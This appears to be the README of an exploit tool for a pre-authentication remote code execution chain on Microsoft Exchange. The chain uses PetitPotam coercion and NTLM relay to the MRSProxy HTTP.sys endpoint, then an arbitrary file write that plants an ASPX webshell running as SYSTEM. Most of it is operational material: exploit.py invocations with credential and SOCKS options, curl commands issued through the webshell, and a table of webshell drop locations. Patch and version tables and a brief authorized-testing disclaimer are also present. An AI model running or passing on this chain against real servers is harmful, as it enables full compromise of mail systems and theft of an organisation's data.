Pre-auth RCE on Microsoft Exchange Server. No credentials needed.
Orange Tsai (DEVCORE) used this at Pwn2Own Berlin 2026 as part of a 3-bug chain. $200,000 prize, full SYSTEM takeover.
Exchange exposes MailboxReplicationProxyService (MRSProxy) on two paths. One of them sits on HTTP.sys without Extended Protection:
| Path | Hosted by | Extended Protection |
|---|---|---|
/EWS/MRSProxy.svc |
IIS | Yes. Safe. |
/Microsoft.Exchange.MailboxReplicationService.ProxyService |
HTTP.sys | No. Relay target. |
The HTTP.sys endpoint accepts Negotiate auth but never checks channel bindings. You relay a machine account hash to it, and Exchange treats you as that machine. Machine accounts hold ms-Exch-EPI-Token-Serialization by default, so the WCF service grants full access.
Once inside, IMailbox_Config6() takes a filePath parameter. PstDestinationMailbox.ConfigPst() writes whatever path you give it. No extension check. Point it at an IIS directory, call IMailbox_Connect(), and a file lands on disk. Make that file an ASPX webshell. Done.
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}| Product | Vulnerable below | Fixed | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Exchange 2016 went end-of-life October 2025. The August 2026 fix ships only through Extended Security Updates (ESU). If the org didn't buy ESU, there's no patch.
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
Five steps:
-
Trigger MS-EFSR (
EfsRpcOpenFileRaw) on EX02. It authenticates back to you with its machine account. PetitPotam works unauthenticated against unpatched Exchange. -
Your SMB listener grabs the NTLM negotiate from
EX02$. -
Forward it over HTTPS to EX01's MRSProxy. The endpoint doesn't check EPA, so the relay completes. Machine accounts already have the Exchange serialization right, so authorization passes.
-
Send WCF calls:
IMailbox_Config6with a path likeC:\inetpub\wwwroot\aspnet_client\shell.aspx, thenIMailbox_Connect. Exchange writes the file. -
Hit the webshell. You're SYSTEM.
Install dependencies:
pip install impacket pysocksCheck if MRSProxy is exposed:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100You want to see Microsoft-HTTPAPI/2.0 with Negotiate in the 401 response. That confirms the HTTP.sys endpoint is live and EPA is absent.
Run the exploit:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100If PetitPotam needs auth on your target:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COMThrough a SOCKS tunnel:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800Pick a different write location:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'Verify the shell landed:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'Use it:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"| Disk path | URL | Why |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx |
/aspnet_client/system_web/shell.aspx |
Default IIS client scripts dir. Usually writable, serves ASPX. |
C:\inetpub\wwwroot\aspnet_client\shell.aspx |
/aspnet_client/shell.aspx |
Same, shorter. |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx |
/owa/auth/shell.aspx |
OWA auth folder. |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx |
/ecp/auth/shell.aspx |
ECP auth folder. |
- MBBank VRED: Analysis of Exchange Server Pre-Auth
- Pwn2Own Berlin 2026, Day 2
- Microsoft Advisory
- KB5121576
For authorized testing only. Get written permission before running this against anything.